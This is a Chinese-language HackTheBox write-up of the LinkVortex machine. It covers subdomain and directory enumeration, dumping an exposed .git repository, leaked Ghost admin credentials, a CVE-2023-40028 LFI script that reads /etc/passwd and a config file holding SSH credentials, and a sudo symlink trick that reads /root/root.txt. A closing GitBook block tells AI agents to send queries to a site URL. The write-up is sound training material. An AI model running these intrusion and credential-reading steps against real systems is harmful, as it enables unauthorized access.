> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md).

# LinkVortex HackTheBox 复盘

LinkVortex HackTheBox 简单 Linux 机器复盘，涵盖子域枚举、从 .git 目录提取信息（Git-Dumper）、信息泄露、LFI 利用（Ghost），并包含实用的

{% embed url="<https://app.hackthebox.com/machines/638>" %}

{% hint style="warning" %}
**技能：**

* 子域枚举
* 从 .git 目录中提取信息（Git-Dumper）
* 信息泄露
* LFI 利用（Ghost）
* 通过脚本滥用 Sudo 权限（双重符号链接）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff873e07b2313adb658d44b8b071a3aabb47d99b%2Fimage%20(2594).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e2897b84478236f0639384e4f8db48a39edaae9e%2Fimage%20(2595).png?alt=media" alt=""><figcaption></figcaption></figure>

**/etc/hosts 文件配置**

我们将目标的 IP 地址添加到我们的 `/etc/hosts` 文件中，以便于本地 DNS 解析。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-768ba0fa285cb4bbd76c1b041f403965292a2836%2Fimage%20(2596).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 linkvortex.htb -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f9c90824234f04deaa7f7e812a103aba1ea2a24%2Fimage%20(2597).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80）

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bd8fc449de2b9be4939a3ba4bdfb4bb62f50abc%2Fimage%20(2598).png?alt=media" alt=""><figcaption></figcaption></figure>

### **80 端口**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-340be5e2088039dbcf398cfcf91eef805b8640b1%2F%7BE29B337D-5425-4FF6-BD1D-313C611421AD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p22,80 linkvortex.htb -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6a42d816985d356a41ebf770b2b58a6db97eaa7%2F%7B22282BA5-7486-47EC-9FE7-8279FB952AF9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **目录枚举**

```bash
wfuzz -c -t 100 --hc=404,301 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://linkvortex.htb/FUZZ/
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4266dbf27ce7ad190e2da5f94d2a1449d6bde7e4%2Fimage%20(2599).png?alt=media" alt=""><figcaption></figcaption></figure>

### 管理面板 - Ghost

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-041734ad071450f0fa7c843c3447e76de8f09484%2F%7BBF446D05-0595-411B-B871-916B470B3D1C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **发现子域名**

我们搜索与 `linkvortex.htb` 相关的子域名，使用 gobuster。

```bash
gobuster vhost -u http://linkvortex.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

我们找到了子域名 `dev.linkvortex.htb`。以下是执行此搜索的命令：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-754fecf2654d67b5d41a76bcf30d1c4b007443da%2Fimage%20(2600).png?alt=media" alt=""><figcaption></figcaption></figure>

一旦找到该子域名，我们将其添加到 `/etc/hosts` 文件中，以便更方便地访问：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db733d6a09ce305e8f9a8e724b22ecb3f77855c4%2Fimage%20(2601).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c023a744772b455d4f00c4213c5001857342a4f9%2F%7B51979BBD-7EA9-4B2C-9BE8-B4F0C65F4E51%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **在新子域名中搜索目录**

我们在 `dev.linkvortex.htb` 子域名上使用 `gobuster`:

```bash
gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 100
```

我们发现了 `.git` 目录，这可能表明存在一个暴露的 Git 仓库。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-90f3b459e7d93e727d83e7f97dceb1e9c9d019cf%2Fimage%20(2602).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91be5112b3649a9047b75647526acf110135e47f%2Fimage%20(2603).png?alt=media" alt=""><figcaption></figcaption></figure>

### **使用 Git-Dumper 提取文件**

我们使用 `git-dumper` 工具从 `.git` 目录中提取文件并进行分析：

```git
git-dumper http://dev.linkvortex.htb/.git .git
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93332b66c3140b6ac3a69cd337ada6cf5848a556%2Fimage%20(2604).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-74a3753bd14aa3fe41ac6d392579e4590dbb66a7%2Fimage%20(2605).png?alt=media" alt=""><figcaption></figcaption></figure>

这使我们能够获取敏感文件，包括位于 `ghost/core/test/regression/api/admin/authentication.test.js`，在其中我们找到了一个密码：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76f51d78125a92e1fef63855476b202cbbf81d20%2Fimage%20(2606).png?alt=media" alt=""><figcaption></figcaption></figure>

**找到的密码：**

```parser
OctopiFociPilfer45
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a0cc89d577342f9112e0f875c9583d80e01fd39%2Fimage%20(2607).png?alt=media" alt=""><figcaption></figcaption></figure>

### **登录 Ghost 管理面板**

使用这个密码，我们尝试通过 `admin@linkvortex.htb` 电子邮件地址连接到 Ghost 管理面板：

* **电子邮件** : `admin@linkvortex.htb`
* **密码**: `OctopiFociPilfer45`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea53ab91ab21b68fcfc1887972577d518ef00227%2Fimage%20(2608).png?alt=media" alt=""><figcaption></figcaption></figure>

## 漏洞 GHost - LFI

{% embed url="<https://github.com/0xyassine/CVE-2023-40028>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-556de5aaad732e511fd1096e472cd92307118c8f%2Fimage%20(2609).png?alt=media" alt=""><figcaption></figcaption></figure>

> 在端口扫描过程中，我们确认所使用的 Ghost 版本（v5.58）存在 LFI（本地文件包含）漏洞，CVE 编号为 CVE-2023-40028。为了利用该漏洞，我们下载了利用脚本并修改目标 URL，使其指向我们的 Ghost 实例。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ba48cb724ac5e32e928d93b94e8a624c763d553%2Fimage%20(2610).png?alt=media" alt=""><figcaption></figcaption></figure>

以下是运行该漏洞利用的命令：

```bash
./LFI.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
```

然后我们获得一个 shell，并可以查看诸如 `/etc/passwd`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1dd2cc955b6f5f261a3b15ae3fc71736f445677%2F%7B4FD8233F-F945-4791-8BDA-22CBE8CD9D87%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**通过 LFI 访问内部路由**

在 `.git` 目录中，我们发现了一个 Docker 文件，它为我们提供了一个用于访问会话的内部路由： `/var/lib/ghost/config.production.json`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dfca1aa90d3bc64cadeb721d81f527d0835d2f9%2Fimage%20(2611).png?alt=media" alt=""><figcaption></figcaption></figure>

我们使用 LFI 列出文件，并找到了一位名为 Bob 的用户的凭据：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-21bed3c084bcac4e0e76c7d47e86d15de379ddf6%2Fimage%20(2612).png?alt=media" alt=""><figcaption></figcaption></figure>

**Bob 的凭据：**

* **用户**: `bob@linkvortex.htb`
* **密码**: `fibber-talented-worth`

我们使用 Bob 的凭据通过 SSH 连接到目标机器：

### user.txt 标志 :)

我们使用该密码 `fibber-talented-worth` 登录并访问文件 `user.txt`，在其中我们找到了 flag。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bcfeecc85c6fba7b0d98d4039012c688292be1ba%2Fimage%20(2613).png?alt=media" alt=""><figcaption></figcaption></figure>

## root.txt 标志 :)

### SUDO - Clean/\_synLink.sh

我们正在寻找一种允许权限提升的漏洞。我们发现了一个具有 SUID 权限的文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec24ae5499df8ac352b86950f56d0ff81f8aaa9f%2Fimage%20(2615).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **符号链接清理脚本分析**

> 我们分析一个名为 `clean_symlink.sh`，它会检查作为参数提供的文件是否是一个指向 `.png` 文件的符号链接。如果该符号链接指向一个关键文件，脚本会将其删除。否则，它会将该符号链接移动到 `/var/quarantined/` 目录。如果 `CHECK_CONTENT` 环境变量被设置为 `true`，脚本会尝试读取该文件的内容。

以下是创建利用所需符号链接的命令：

```bash
ln -s /root/root.txt flag.txt
ln -s /home/bob/flag.txt flag.png
```

然后我们使用以下命令运行脚本以获取 root flag：

```bash
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png 
```

因此我们获得了 `root.txt` flag。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d510c3b8a79e2f856beb8e60ce573f331bee991c%2Fimage%20(2616).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f12cffa0209b5fca2a9f9e3bcbd63ce191f0408c%2F%7BF6BA10D9-BB8B-4665-82C3-C660B5632C82%7D.png?alt=media" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
